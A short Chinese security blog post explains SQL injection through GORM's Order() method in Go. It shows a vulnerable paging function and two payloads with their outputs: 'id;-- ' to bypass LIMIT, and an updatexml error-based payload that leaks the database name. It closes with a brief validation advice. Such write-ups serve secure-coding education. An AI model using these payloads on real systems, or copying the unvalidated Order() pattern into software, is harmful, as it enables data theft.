gorm OrderBy注入
- 作者:
- 淡白
- 创建时间:
- 2022-03-15 15:40:41
- Go MySQL gorm sql
摘要:在上述代码中,存在一个安全隐患:`order` 参数没有经过校验,可能导致 SQL 注入攻击。尽管 GORM 已经有一定的防注入措施,但仍存在一些方法没有转义。在不进行参数校验的情况下,攻击者可以构造恶意的 `order` 参数来执行危险的 SQL 查询。 一个示例是通过构造 `order` 参数来爆出符合条件的所有数据。攻击者可以构造 `order` 参数为 `id;--`,从而将原本的 SQL 查询改为查询所有数据的语句。 另一个示例是通过构造 `order` 参数来执行 `updatexml` 函数,从而进行更多的信息泄露。攻击者可以构造 `order` 参数为 `updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)`,从而执行该函数并通过错误回显获取数据库的信息。 为了避免这些安全隐患,建议在使用前对参数进行校验。可以使用合适的正则表达式或者白名单来限制 `order` 参数的值,确保其只包含被允许的字符和语法。此外,还可以对输入的参数进行转义或者使用参数绑定的方式来构建 SQL 查询,防止注入攻击的发生。 通过对参数进行校验和处理,可以有效提升系统的安全性,防止 SQL 注入攻击。
环境代码
有时为了方便前端排序可能会将order
作为参数传入,这是不安全的。
虽然gorm有防注入但还是有些方法是没有转义的。 gorm不安全的方法
func TestGetList(pageNum, pageSize int, order string) []modle.Test {
if pageSize == 0 {
pageSize = 20
}
if pageNum == 0 {
pageNum = 1
}
begin := db.GetDB()
tests := make([]modle.Test, 0)
err := begin.Model(&modle.Test{}).Order(order).Offset((pageNum - 1) * pageSize).Limit(pageSize).Find(&tests).Error
if err != nil {
log.Println(err.Error())
}
return tests
}
爆出符合条件的所有数据
请求:
{
"order":"id;-- "
}
执行sql
SELECT * FROM `test` ORDER BY id;-- LIMIT 20
返回:符合条件的所有数据
updatexml
如果有报错回显的话还可能造成更多泄露 请求:
{
"order":"updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)"
}
日志:
Error 1105: XPATH syntax error: '~test~'
建议
在使用前校验参数